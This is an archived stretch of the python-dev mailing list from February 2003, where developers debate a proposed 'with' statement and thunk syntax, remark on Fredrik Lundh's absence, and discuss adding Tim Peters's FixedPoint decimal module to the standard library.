duncan@rcp.co.uk Tue Feb 4 17:19:39 2003 From: duncan@rcp.co.uk (Duncan Booth) Date: Tue, 04 Feb 2003 17:19:39 -0000 Subject: [Python-Dev] With statement In-Reply-To: <16E1010E4581B049ABC51D4975CEDB880113D8D8@UKDCX001.uk.int.atosorigin.com> Message-ID: <3E3FF62B.12085.6FA6166@localhost> On 4 Feb 2003 at 17:02, Moore, Paul wrote: > # You do realise you can't use a raw file object here really? Unless of course the file object sprouted an __exit__ method. It's probably worth including the pro's and con's of that in your PEP. I can see people falling into the trap of expecting the file object to 'do the obvious thing' here (Neal Norwitz being the first, but almost certainly not the last). -- Duncan Booth duncan@dales.rmplc.co.uk int month(char *p){return(124864/((p[0]+p[1]- p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? http://dales.rmplc.co.uk/Duncan From neal@metaslash.com Tue Feb 4 17:51:39 2003 From: neal@metaslash.com (Neal Norwitz) Date: Tue, 04 Feb 2003 12:51:39 -0500 Subject: [Python-Dev] With statement In-Reply-To: <3E3FF62B.12085.6FA6166@localhost> References: <16E1010E4581B049ABC51D4975CEDB880113D8D8@UKDCX001.uk.int.atosorigin.com> <3E3FF62B.12085.6FA6166@localhost> Message-ID: <20030204175139.GC24222@epoch.metaslash.com> On Tue, Feb 04, 2003 at 05:19:39PM -0000, Duncan Booth wrote: > On 4 Feb 2003 at 17:02, Moore, Paul wrote: > > # You do realise you can't use a raw file object here really? > > Unless of course the file object sprouted an __exit__ method. > It's probably worth including the pro's and con's of that in > your PEP. > > I can see people falling into the trap of expecting the file > object to 'do the obvious thing' here (Neal Norwitz being the > first, but almost certainly not the last). I was actually assuming that ultimately we'd just add a few methods to objects (like file & Lock). I see no benefit to add new builtins for autoclosefile and synchronized. It seems easier and more straightforward to add the special methods to the objects. Neal From gsw@agere.com Tue Feb 4 18:02:16 2003 From: gsw@agere.com (Gerald S. Williams) Date: Tue, 4 Feb 2003 13:02:16 -0500 Subject: [Python-Dev] thunks In-Reply-To: <20030203170009.695.17429.Mailman@mail.python.org> Message-ID: Guido van Rossum wrote: > [ =] : > ... > [ =] lambda: > ... > [ =] lambda : > ... > [ =] lambda: > > and lambda: > > ... Can this be extended to allow multiple expressions to act on the thunk? That capability was in some of the earlier proposals. I suppose you could allow a list of expressions, multiple expressions separated by white space, or something similar. -Jerry From pedronis@bluewin.ch Tue Feb 4 18:35:24 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Tue, 4 Feb 2003 19:35:24 +0100 Subject: [Python-Dev] thunks References: Message-ID: <032601c2cc7c$2ec700c0$6d94fea9@newmexico> ----- Original Message ----- From: "Gerald S. Williams" To: Sent: Tuesday, February 04, 2003 7:02 PM Subject: Re: [Python-Dev] thunks > Guido van Rossum wrote: > > [ =] : > > > ... > > [ =] lambda: > > > ... > > [ =] lambda : > > > ... > > [ =] lambda: > > > > and lambda: > > > > ... > > Can this be extended to allow multiple expressions > to act on the thunk? That capability was in some of > the earlier proposals. I suppose you could allow a > list of expressions, multiple expressions separated > by white space, or something similar. > this one has nothing to do with def () [] From lists@morpheus.demon.co.uk Mon Feb 3 21:05:27 2003 From: lists@morpheus.demon.co.uk (Paul Moore) Date: Mon, 03 Feb 2003 21:05:27 +0000 Subject: [Python-Dev] Extended Function syntax References: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com> <2mu1flperm.fsf@starship.python.net> <20030203172116.GA1513@hishome.net> Message-ID: Oren Tirosh writes: > I agree. I don't see anything wrong with > > f=open('spam', 'r') > with autoclose(f): > ... I *like* this way of doing autoclose files. Much better than the way I've been thinking f = autocloser("spam") with f: ... > and I think that > > with autolock(obj): > ... > > looks better than any other alternative proposed so far. On the other hand, I quite like with lock: ... (where lock is defined appropriately). I don't know. Does the fact that the same statement is best used in two subtly different ways (permanent object vs throwaway helper object) count as a disadvantage of the statement (in terms of teachability, if nothing else...)? Sigh. I'm *so* glad I'm just skimming the thunk discussion - I don't think my brain would survive the details :-) Paul. -- This signature intentionally left blank From gsw@agere.com Tue Feb 4 18:56:27 2003 From: gsw@agere.com (Gerald S. Williams) Date: Tue, 4 Feb 2003 13:56:27 -0500 Subject: [Python-Dev] With statement In-Reply-To: <20030204135902.21784.74109.Mailman@mail.python.org> Message-ID: Paul Moore wrote: > 'with' expr ':' > suite Yes, simplicity is good. I don't buy the arguments for replacing: suite_user = expr with suite_user: suite with: with suite_user = expr: suite The arguments in favor of the latter could be applied to 'while' (or even 'if') as well. I know you don't have to worry about '=' being confused for '==' in this case, but is the gain here enough to warrant the inconsistency? It's interesting to note that with Guido's proposal, your example [slightly paraphrased here]: > class autolock: > def __init__(self, l): self.l = l > def __enter__(self): self.l.acquire() > def __exit__(self): self.l.release() > > with autolock(lock()): > # work with the lock held Could be coded like this, given the right implementation of with_block: class with_autolock(with_block): def __init__(self, l): with_block.__init__(self); self.l = l def __enter__(self): self.l.acquire() def __exit__(self): self.l.release() with_autolock(lock()): # work with the lock held (If support for multiple thunk users is added back, the 'with' could probably be added back to the example also.) -Jerry From pedronis@bluewin.ch Tue Feb 4 19:05:44 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Tue, 4 Feb 2003 20:05:44 +0100 Subject: [Python-Dev] Extended Function syntax References: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com> <2mu1flperm.fsf@starship.python.net> <20030203172116.GA1513@hishome.net> Message-ID: <042601c2cc80$6b5359e0$6d94fea9@newmexico> From: "Paul Moore" > Oren Tirosh writes: > > > I agree. I don't see anything wrong with > > > > f=open('spam', 'r') > > with autoclose(f): > > ... > > I *like* this way of doing autoclose files. Much better than the way > I've been thinking > > f = autocloser("spam") > with f: > ... > > > and I think that > > > > with autolock(obj): > > ... > > > > looks better than any other alternative proposed so far. > > On the other hand, I quite like > > with lock: > ... > > (where lock is defined appropriately). > > I don't know. Does the fact that the same statement is best used in > two subtly different ways (permanent object vs throwaway helper > object) count as a disadvantage of the statement (in terms of > teachability, if nothing else...)? it depends on how you look at things, either your main object support the 'with' protocol or not: with with_proto_supporting_object: ... or it needs an adapter: with with_proto_adpater(obj): ... Anyway write the PEP and leave this behind you . From gsw@agere.com Tue Feb 4 19:40:10 2003 From: gsw@agere.com (Gerald S. Williams) Date: Tue, 4 Feb 2003 14:40:10 -0500 Subject: [Python-Dev] thunks In-Reply-To: <032601c2cc7c$2ec700c0$6d94fea9@newmexico> Message-ID: Samuele Pedroni wrote: > > Can this be extended to allow multiple expressions > > to act on the thunk? That capability was in some of > > the earlier proposals. [...] > > this one has nothing to do with def () [] Let me rephrase it, then. It looks like this thunk proposal allows: def func(args): code to be rewritten along the lines of: func = function_def lambda args: code but doesn't account for the functionality for which "def () []" is being suggested. Can we generalize it to account for both forms of def? -Jerry From mal@lemburg.com Tue Feb 4 19:51:33 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Tue, 04 Feb 2003 20:51:33 +0100 Subject: [Python-Dev] thunks In-Reply-To: <200302031653.h13Grof20104@odiug.zope.com> References: <200302031653.h13Grof20104@odiug.zope.com> Message-ID: <3E4019C5.2020408@lemburg.com> Tim, what have you been putting into Guido's coffee the last few days ? Colons seem to have grown magical expressiveness and now he even likes lambdas ;-) Guido van Rossum wrote: > I still don't have time to read this thread :-(, but I had a new idea > that I'd like to fly here. > > If we want to support thunks that blend into the scope of their > environment as well as thunks that introduce a new local scope, here's > one possible way to do it: > > Thunk blending in: > > [ =] : > > > Thunk introducing a new local scope: > > [ =] lambda: > > > (Never mind the ugly things I've said about lambda in the past. :-) > > I'm confident that the parser can distinguish these, and I'm confident > that the scope blending can be implemented using nested-scope cells. > > Adding formal parameters to the second case would go like this: > > [ =] lambda : > > > One concern I have in both cases: I think there are use cases for > wanting more than one block. Glyph's example wants to define various > callbacks for a remote call, and this would need multiple blocks. I > think the syntax for this would have to use some kind of keyword-based > continuation, e.g. > > [ =] lambda: > > and lambda: > > ... > > Disclaimer: this is a half-baked idea. > > --Guido van Rossum (home page: http://www.python.org/~guido/) -- Marc-Andre Lemburg CEO eGenix.com Software GmbH _______________________________________________________________________ eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,... Python Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ From pedronis@bluewin.ch Tue Feb 4 19:51:17 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Tue, 4 Feb 2003 20:51:17 +0100 Subject: [Python-Dev] thunks References: Message-ID: <04aa01c2cc86$c879baa0$6d94fea9@newmexico> From: "Gerald S. Williams" > Samuele Pedroni wrote: > > > Can this be extended to allow multiple expressions > > > to act on the thunk? That capability was in some of > > > the earlier proposals. [...] > > > > this one has nothing to do with def () [] > > Let me rephrase it, then. It looks like this thunk > proposal allows: > > def func(args): > code > > to be rewritten along the lines of: > > func = function_def lambda args: > code > but doesn't account for the functionality for which > "def () []" is being suggested. Can we generalize it > to account for both forms of def? It also does not cover class-like defs (thing I have already remarked). Guido has no bandwidth at the moment, so discussing about it is kind of pointless. Anyway if your interpretation is right then: func = compdef(function_def,synchronized) lambda args: ... . From gsw@agere.com Tue Feb 4 20:23:07 2003 From: gsw@agere.com (Gerald S. Williams) Date: Tue, 4 Feb 2003 15:23:07 -0500 Subject: [Python-Dev] thunks In-Reply-To: <04aa01c2cc86$c879baa0$6d94fea9@newmexico> Message-ID: Samuele Pedroni wrote: > func = compdef(function_def,synchronized) lambda args: I suppose that was a bad example. If we're sticking to function modifiers, a better counter-example might be: func = function_def(synchronized,...) lambda args: ... As you said, there's not much point discussing it at the moment, but allowing multiple expressions without extra levels of processing seems like it could have benefits. -Jerry From aleax@aleax.it Tue Feb 4 20:23:10 2003 From: aleax@aleax.it (Alex Martelli) Date: Tue, 4 Feb 2003 21:23:10 +0100 Subject: [Python-Dev] With statement In-Reply-To: <3E3FF62B.12085.6FA6166@localhost> References: <3E3FF62B.12085.6FA6166@localhost> Message-ID: <200302042123.10803.aleax@aleax.it> On Tuesday 04 February 2003 06:19 pm, Duncan Booth wrote: > On 4 Feb 2003 at 17:02, Moore, Paul wrote: > > # You do realise you can't use a raw file object here really? > > Unless of course the file object sprouted an __exit__ method. Yep, just an __exit__ = close in class scope would do it, if "class file(object):" was coded in Python;-) > It's probably worth including the pro's and con's of that in > your PEP. Particularly the con's, if you can think of any. Me, I can't. > I can see people falling into the trap of expecting the file > object to 'do the obvious thing' here (Neal Norwitz being the > first, but almost certainly not the last). Indeed, why _shouldn't_ file do the obvious thing? Just like it has a __del__ = close, so should it have an __exit__ (the latter only if with IS introduced, of course). Alex From pedronis@bluewin.ch Tue Feb 4 20:44:20 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Tue, 4 Feb 2003 21:44:20 +0100 Subject: trying times [Python-Dev] thunks References: <200302031653.h13Grof20104@odiug.zope.com> <3E4019C5.2020408@lemburg.com> Message-ID: <068a01c2cc8e$31e97140$6d94fea9@newmexico> From: "M.-A. Lemburg" > Tim, what have you been putting into Guido's coffee the last few > days ? Colons seem to have grown magical expressiveness and now he > even likes lambdas ;-) > these are trying times: http://online.effbot.org/2003_02_01_archive.htm#python-dev From guido@python.org Tue Feb 4 20:57:14 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 04 Feb 2003 15:57:14 -0500 Subject: trying times [Python-Dev] thunks In-Reply-To: Your message of "Tue, 04 Feb 2003 21:44:20 +0100." <068a01c2cc8e$31e97140$6d94fea9@newmexico> References: <200302031653.h13Grof20104@odiug.zope.com> <3E4019C5.2020408@lemburg.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> Message-ID: <200302042057.h14KvEI26727@odiug.zope.com> > these are trying times: > > http://online.effbot.org/2003_02_01_archive.htm#python-dev What a shame. Fredrik has been absent in spirit for a long time. When was the last time he participated in any kind of technical discussion, blue-sky or other? All we've heard from him recently were the occasional snide remark aimed at new visitors who violate the unspoken code of behavior here. I haven't seen him fix any SRE bugs either, SF bugs assigned to him for ages notwithstanding. --Guido van Rossum (home page: http://www.python.org/~guido/) From whisper@oz.net Tue Feb 4 21:34:17 2003 From: whisper@oz.net (David LeBlanc) Date: Tue, 4 Feb 2003 13:34:17 -0800 Subject: trying times [Python-Dev] thunks In-Reply-To: <200302042057.h14KvEI26727@odiug.zope.com> Message-ID: Whatever he is doing now, his past contributions are worthy of our gratitude and best wishes IMO. Thanks Fredrik and best wishes! sic transit gloria mundi. (Ok, that's a little over the top ;)) David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-dev-admin@python.org [mailto:python-dev-admin@python.org]On > Behalf Of Guido van Rossum > Sent: Tuesday, February 04, 2003 12:57 > To: Samuele Pedroni > Cc: M.-A. Lemburg; Tim Peters; python-dev@python.org; Fredrik Lundh > Subject: Re: trying times [Python-Dev] thunks > > > > these are trying times: > > > > http://online.effbot.org/2003_02_01_archive.htm#python-dev > > What a shame. > > Fredrik has been absent in spirit for a long time. When was the last > time he participated in any kind of technical discussion, blue-sky or > other? All we've heard from him recently were the occasional snide > remark aimed at new visitors who violate the unspoken code of behavior > here. I haven't seen him fix any SRE bugs either, SF bugs assigned to > him for ages notwithstanding. > > --Guido van Rossum (home page: http://www.python.org/~guido/) > > _______________________________________________ > Python-Dev mailing list > Python-Dev@python.org > http://mail.python.org/mailman/listinfo/python-dev From jeremy@zope.com (Jeremy Hylton) Tue Feb 4 21:37:37 2003 From: jeremy@zope.com (Jeremy Hylton) (Jeremy Hylton) Date: Tue, 4 Feb 2003 16:37:37 -0500 Subject: [Python-Dev] thunks In-Reply-To: <3E4019C5.2020408@lemburg.com> References: <200302031653.h13Grof20104@odiug.zope.com> <3E4019C5.2020408@lemburg.com> Message-ID: <15936.12961.598773.128987@slothrop.zope.com> >>>>> "MAL" == M writes: MAL> Tim, what have you been putting into Guido's coffee the last MAL> few days ? Right idea, wrong question. The only thing we've got in the office is a colored beverage that is reminiscent of coffee. You should ask what Tim is putting in Guido's pickles. Jeremy From guido@python.org Tue Feb 4 21:48:30 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 04 Feb 2003 16:48:30 -0500 Subject: trying times [Python-Dev] thunks In-Reply-To: Your message of "Tue, 04 Feb 2003 13:34:17 PST." References: Message-ID: <200302042148.h14LmUN27061@odiug.zope.com> > Whatever he is doing now, his past contributions are worthy of our gratitude > and best wishes IMO. Absolutely. > Thanks Fredrik and best wishes! I expect we haven't heard the last of him. --Guido van Rossum (home page: http://www.python.org/~guido/) From pedronis@bluewin.ch Tue Feb 4 21:51:05 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Tue, 4 Feb 2003 22:51:05 +0100 Subject: trying times [Python-Dev] thunks References: <200302031653.h13Grof20104@odiug.zope.com> <3E4019C5.2020408@lemburg.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> Message-ID: <08af01c2cc97$84a79b60$6d94fea9@newmexico> From: "Guido van Rossum" > > these are trying times: > > > > http://online.effbot.org/2003_02_01_archive.htm#python-dev > > What a shame. > > Fredrik has been absent in spirit for a long time. When was the last > time he participated in any kind of technical discussion, blue-sky or > other? All we've heard from him recently were the occasional snide > remark aimed at new visitors who violate the unspoken code of behavior > here. I haven't seen him fix any SRE bugs either, SF bugs assigned to > him for ages notwithstanding. Whatever, I have re-read my recent posts: I have posted too much and repeated myself a bit, I don't think I have posted too much garbage. On the other hand it is such unexplored territory that it is hard to second-guess you. And the discussion was sometimes very unfocused. I think that people should have at least some kind of conceptual model or impl idea of what they are talking about, unless it's you who are brainstorming. Otherwise the other should invent it for them and it is basically working from scratch and guess-work. I hope people know they should do their homework or S/N suffers, OTOH sometimes people are bad at judging themselves [apply recursively to the post]. I read comp.lang.lisp, I'm open-minded about snide remarks. From whisper@oz.net Tue Feb 4 22:02:49 2003 From: whisper@oz.net (David LeBlanc) Date: Tue, 4 Feb 2003 14:02:49 -0800 Subject: [Python-Dev] thunks In-Reply-To: <15936.12961.598773.128987@slothrop.zope.com> Message-ID: Gee, I knew that timbot channeled Guido, but never knew about Tim and Guido's pickles... Perhaps this should be left as a personal matter ;) David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-dev-admin@python.org [mailto:python-dev-admin@python.org]On > Behalf Of Jeremy Hylton > Sent: Tuesday, February 04, 2003 13:38 > To: M.-A. Lemburg > Cc: Tim Peters; python-dev@python.org > Subject: Re: [Python-Dev] thunks > > > >>>>> "MAL" == M writes: > > MAL> Tim, what have you been putting into Guido's coffee the last > MAL> few days ? > > Right idea, wrong question. The only thing we've got in the office is > a colored beverage that is reminiscent of coffee. You should ask what > Tim is putting in Guido's pickles. > > Jeremy > > > _______________________________________________ > Python-Dev mailing list > Python-Dev@python.org > http://mail.python.org/mailman/listinfo/python-dev From tim.one@comcast.net Tue Feb 4 22:18:32 2003 From: tim.one@comcast.net (Tim Peters) Date: Tue, 04 Feb 2003 17:18:32 -0500 Subject: [Python-Dev] thunks In-Reply-To: <3E4019C5.2020408@lemburg.com> Message-ID: [M.-A. Lemburg] > Tim, what have you been putting into Guido's coffee the last few > days ? Colons seem to have grown magical expressiveness and now he > even likes lambdas ;-) Guido recently had a birthday, and I think he finally realized that, if things continue this way, someday he'll be as old as I am. Strange things happen when you realize your useful life is nearly over. For example, when that happened to me, I moved to Virginia. Now Guido is about the age I was then, so it's his turn to ruin his life. Unfortunately, unlike me, he can take the rest of us down with him . first-you-soften-toward-lambda-then-you-seek-lawrence-welk-reruns-ly y'rs - tim From skip@pobox.com Tue Feb 4 23:08:56 2003 From: skip@pobox.com (Skip Montanaro) Date: Tue, 4 Feb 2003 17:08:56 -0600 Subject: [Python-Dev] BUILDEXE erroneously empty on 2.2.2 for Mac OS X? Message-ID: <15936.18440.704332.854883@montanaro.dyndns.org> I just wiped my maint22 directory clean, did a cvs up, configure and make on my Mac OS X machine. BUILDEXE got set to the empty string, so the link step for the interpreter failed. Is this a known problem? I haven't rebuilt 2.2.2 in awhile (since October). This was a vanilla Unix build, nothing fancy. Thx, Skip From mclay@nist.gov Tue Feb 4 23:43:30 2003 From: mclay@nist.gov (Michael McLay) Date: Tue, 4 Feb 2003 18:43:30 -0500 Subject: [Python-Dev] Why did Fredrik leave the party? In-Reply-To: <200302042057.h14KvEI26727@odiug.zope.com> References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> Message-ID: <200302041843.30945.mclay@nist.gov> On Tuesday 04 February 2003 03:57 pm, Guido van Rossum wrote: > > these are trying times: > > > > http://online.effbot.org/2003_02_01_archive.htm#python-dev > > What a shame. > > Fredrik has been absent in spirit for a long time. When was the last > time he participated in any kind of technical discussion, blue-sky or > other? All we've heard from him recently were the occasional snide > remark aimed at new visitors who violate the unspoken code of behavior > here. I haven't seen him fix any SRE bugs either, SF bugs assigned to > him for ages notwithstanding. It looks like Fredrik is drifting away from Python development because Python has been drifting away from the original small-is-beautiful design. The energy going into the thunks and Extended Function threads has me baffled. Will the marginal gain in new applications that will be enabled by these features exceed the marginal loss in new Python programmers due to the increased learning threshold? The creep is slow, but it is happening. Generators are cool once you understand them, but they raise the bar for someone new to the language. The same is true for list comprehension. And the proposed syntax changes I've seen in these thrreads are ugly. Please don't turn Python into Perl. I thought the focus of development was going to put more energy into improving the standard library. For instance, Zope often works with SQL databases and those databases often contain financial data. How well does Python support this numerical requirement? According to IBM Technical Report TR03.413 [1], the numeric column breakdown by data type is: Type Columns percent Decimal 251038 55.0 SmallInt 120464 26.4 Integer 78842 17.3 Float 6180 1.4 The Decimal type is the overwhelming winner because the Decimal type is required for financial calculations. This is a huge and important IT market segment. I submitted a patch that added a native fixed type to Python using Tim Peter's FixedPoint module, but it was rejected because I added syntax support for the new type. Please at least add Tim's FixedPoint module to the 2.3 release. (The class should probably be renamed to something shorter like fpoint or fixed when it is added to the standard library.) [1] http://www2.hursley.ibm.com/decimal/decifaq1.html#dbstats From just@letterror.com Tue Feb 4 23:46:13 2003 From: just@letterror.com (Just van Rossum) Date: Wed, 5 Feb 2003 00:46:13 +0100 Subject: [Python-Dev] Unicode-like objects Message-ID: Unless I misunderstand, it's currently impossible to create an object that behaves just like a unicode object unless the backing store is compatible with a "real" unicode object (in which case the buffer interface can be used). While browsing through the implementation I came across this interesting XXX comment in unicodeobject.c: PyObject *PyUnicode_FromObject(register PyObject *obj) { /* XXX Perhaps we should make this API an alias of PyObject_Unicode() instead ?! */ If this were done, making unicode-like objects becomes possible: PyObject_Unicode() actually calls __unicode__ whereas PyUnicode_FromObject() currently requires a buffer. Is there any reason why implementing what the comment suggests would be a bad idea? (The use case is this. The PyObjC project marries Objective-C with Python. This is cool as it gives us direct access to almost all of Cocoa, the native OSX GUI interface. However, Cocoa defines its own string type and for reasons that are waaay beyond the scope of this post (check the archives of the pyobjc-dev list if you're really really interested; see a recent thread called "NSString & mutability") it appears a bad idea to _convert_ these strings to Python unicode strings. So we need to wrap them. Yet they should work as much like unicode strings as possible...) Just From guido@python.org Wed Feb 5 01:39:01 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 04 Feb 2003 20:39:01 -0500 Subject: [Python-Dev] Unicode-like objects In-Reply-To: "Your message of Wed, 05 Feb 2003 00:46:13 +0100." References: Message-ID: <200302050139.h151d1h21870@pcp02138704pcs.reston01.va.comcast.net> > Unless I misunderstand, it's currently impossible to create an object > that behaves just like a unicode object unless the backing store is > compatible with a "real" unicode object (in which case the buffer > interface can be used). [...] Can you explain what you mean by "behaves just like a unicode object"? I'd think that's the crux of the matter. Which operations do you want to behave in a certain way that currently doesn't work? E.g. are you interested in what happens when a real unicode object and a pseudo-unicode object are combined in a binary operation? Or when you pass a pseudo-unicode object as an argument to a method of a real unicode object? Or when a pseudo-unicode is passed to some standard function that expects a unicode object? There are hundreds if not thousands (maybe even tens! :-) of places in the Python source code where unicode objects are special-cased. This may be a practical burden against implementing what you want. Maybe a refactoring of the unicode object can be considered that allows what you want, but given the amount of delicate code (including 3rd party code like the Japanese codecs) that is involved, I doubt that this will be easy... --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Wed Feb 5 02:07:55 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 04 Feb 2003 21:07:55 -0500 Subject: [Python-Dev] Why did Fredrik leave the party? In-Reply-To: "Your message of Tue, 04 Feb 2003 18:43:30 EST." <200302041843.30945.mclay@nist.gov> References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> Message-ID: <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> Hi Michael, That's a slightly sneaky subject line for a feature request. But I'll forgive you because you got my attention. :-) > It looks like Fredrik is drifting away from Python development > because Python has been drifting away from the original > small-is-beautiful design. The energy going into the thunks and > Extended Function threads has me baffled. No need to be baffled. There are many different people here with vastly different interests and ideas. That's what I like about this community: there's always something new being explored. Sometimes a bunch of people get excited over a new idea and try to hash out what the best way to implement is. Sometimes they get a little too excited; then it stops. Sometimes it's decimal numbers, another time it's thunks. > Will the marginal gain in new applications that will be enabled by > these features exceed the marginal loss in new Python programmers > due to the increased learning threshold? The creep is slow, but it > is happening. Understood. I hope you also understand that the syntax extension ideas being discussed are (a) far from sure to have any impact on Python's design at all, and (b) certain not to affect Python 2.3. > Generators are cool once you understand them, but they raise the bar > for someone new to the language. That all depends. You don't have to teach generators at all in an introductory course -- you don't even have to teach iterators. But all this has been discussed many times before here in numerous threads. My personal opinion is that generators make certain kinds of code so much easier to write that the benefits far outweigh the cost. > The same is true for list comprehension. And the proposed syntax > changes I've seen in these thrreads are ugly. Please don't turn > Python into Perl. Maybe they're ugly because I had to withdraw (temporarily) from the thread due to lack of time? These days, I can only argue about language changes in my spare time... > I thought the focus of development was going to put more energy into > improving the standard library. For instance, Zope often works with > SQL databases and those databases often contain financial data. How > well does Python support this numerical requirement? According to > IBM Technical Report TR03.413 [1], the numeric column breakdown by > data type is: > > Type Columns percent > Decimal 251038 55.0 > SmallInt 120464 26.4 > Integer 78842 17.3 > Float 6180 1.4 > > The Decimal type is the overwhelming winner because the Decimal type > is required for financial calculations. This is a huge and important > IT market segment. I submitted a patch that added a native fixed > type to Python using Tim Peter's FixedPoint module, but it was > rejected because I added syntax support for the new type. Please at > least add Tim's FixedPoint module to the 2.3 release. (The class > should probably be renamed to something shorter like fpoint or fixed > when it is added to the standard library.) > > [1] http://www2.hursley.ibm.com/decimal/decifaq1.html#dbstats Very sneaky, to start with a gripe about language growth and end with a plea for your favorite language addition. :-) I'm not convinced that decimal arithmetic is Python's next frontier or that it would make a difference to improve Python's adoption. I'm also not convinced that it makes no difference, but as you know, you can prove anything with statistics (not to mention the fact that 90% of statistics are made up), and I note that the URL you quote mentions commercial databases owned by major organizations. This is a specific segment of the IT market where it's no surprise that decimal numbers are in the majority. Let me counter with some more statistics. The FixedPont module is available from SourceForge. It doesn't look like it's wildly popular though: it has been downloaded 236 times since the first release last August. Some more statistics (that I swear I am not making up): during the life of this project (since last August) a total of 3 bugs were reported, zero patches, and one feature request. I'll leave it to Tim to explain why he doesn't think this module should be added to the standard library. If he thinks it belongs there, I certainly won't argue against it! --Guido van Rossum (home page: http://www.python.org/~guido/) From tim.one@comcast.net Wed Feb 5 02:09:47 2003 From: tim.one@comcast.net (Tim Peters) Date: Tue, 04 Feb 2003 21:09:47 -0500 Subject: [Python-Dev] Why did Fredrik leave the party? In-Reply-To: <200302041843.30945.mclay@nist.gov> Message-ID: [Michael McLay] > ... > I thought the focus of development was going to put more energy > into improving the standard library. 2.3 has been very much about that, as Guido intended. For example, I've done no Python work beyond datetime and pickle development for nearly two months now. I doubt Guido wants focus to remain on the library exclusively and forever more, though. > For instance, Zope often works with SQL databases and those databases > often contain financial data. How well does Python support this > numerical requirement? IMO, poorly out of the box. But at the same time nobody in my Zope mgmt chain has shown any interest in supporting work in this area (and yes, I've asked -- it doesn't even get to the point of being a wish-list item, there's simply no interest at all). > According to IBM Technical Report TR03.413 [1], the numeric column > breakdown by data type is: > > Type Columns percent > Decimal 251038 55.0 > SmallInt 120464 26.4 > Integer 78842 17.3 > Float 6180 1.4 > > The Decimal type is the overwhelming winner because the Decimal type is > required for financial calculations. This is a huge and important > IT market segment. I submitted a patch that added a native fixed type > to Python using Tim Peter's FixedPoint module, but it was rejected > because I added syntax support for the new type. Consistent with Guido's "new new syntax for 2.3" position. > Please at least add Tim's FixedPoint module to the 2.3 release. (The > class should probably be renamed to something shorter like > fpoint or fixed when it is added to the standard library.) > > [1] http://www2.hursley.ibm.com/decimal/decifaq1.html#dbstats Who are you asking? I've said several times on python-dev and on c.l.py that (a) Guido has already approved adding FixedPoint to 2.3; and, (b) I can't make time for it (neither to do it, nor even to offer non-trivial help). If I can't make time for it, it's a sure bet nobody else at PLabs will either. In someone cares enough to do it and can make time for it, there's nothing stopping it. From tim.one@comcast.net Wed Feb 5 02:20:51 2003 From: tim.one@comcast.net (Tim Peters) Date: Tue, 04 Feb 2003 21:20:51 -0500 Subject: [Python-Dev] Why did Fredrik leave the party? In-Reply-To: <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> Message-ID: [Guido] > ... > Let me counter with some more statistics. The FixedPont module is > available from SourceForge. It doesn't look like it's wildly popular > though: it has been downloaded 236 times since the first release last > August. Some more statistics (that I swear I am not making up): > during the life of this project (since last August) a total of 3 bugs > were reported, zero patches, and one feature request. The audience for decimal arithmetic isn't capable of implementing it, so the lack of patches is no surprise. The lack of bugs and feature requests is largely explained by that I originally wrote it . Meaning that it set itself a well-defined task, and did the best possible numeric job within that design from its first release. There were never any bugs, although rounding behavior is something different apps need to do in different ways, and Doug Fort addressed that without going thru the SF bug/patch machinery. > I'll leave it to Tim to explain why he doesn't think this module > should be added to the standard library. If he thinks it belongs > there, I certainly won't argue against it! I suggested adding it months ago, and you approved the idea then, provided that I didn't do the work. That's been communicated on python-dev and c.l.py multiple times, but, so far, nobody has bit. From whisper@oz.net Wed Feb 5 03:10:40 2003 From: whisper@oz.net (David LeBlanc) Date: Tue, 4 Feb 2003 19:10:40 -0800 Subject: [Python-Dev] Why did Fredrik leave the party? In-Reply-To: Message-ID: > I suggested adding it months ago, and you approved the idea then, provided > that I didn't do the work. That's been communicated on python-dev and > c.l.py multiple times, but, so far, nobody has bit. > What _exactly_ would have to be done to prepare FixedPoint for 2.3? this-is-a-nibble-not-a-bite-ly-yours Dave LeBlanc Seattle, WA USA From Raymond Hettinger" Message-ID: <002601c2ccc4$3d7aa7a0$125ffea9@oemcomputer> > I suggested adding it months ago, and you approved the idea then, provided > that I didn't do the work. That's been communicated on python-dev and > c.l.py multiple times, but, so far, nobody has bit. Okay, I'll bite. I read through SF site and the package looks substantially complete. What still needs to be done? Raymond Hettinger From tim_one@email.msn.com Wed Feb 5 03:17:21 2003 From: tim_one@email.msn.com (Tim Peters) Date: Tue, 4 Feb 2003 22:17:21 -0500 Subject: [Python-Dev] Why did Fredrik leave the party? In-Reply-To: Message-ID: [David LeBlanc] > What _exactly_ would have to be done to prepare FixedPoint for 2.3? You can't know until you try and see who whines about what. For starters, a naming debate. Regardless, docs and test suite and code. Doug Fort has an excellent starti at: http://fixedpoint.sourceforge.net/ > this-is-a-nibble-not-a-bite-ly-yours If you need all questions answered in advance, let go. If I had time for that, I'd have 10x more time than I needed to just do it <0.50001 wink>. From tdelaney@avaya.com Wed Feb 5 03:19:51 2003 From: tdelaney@avaya.com (Delaney, Timothy C (Timothy)) Date: Wed, 5 Feb 2003 14:19:51 +1100 Subject: [Python-Dev] Why did Fredrik leave the party? 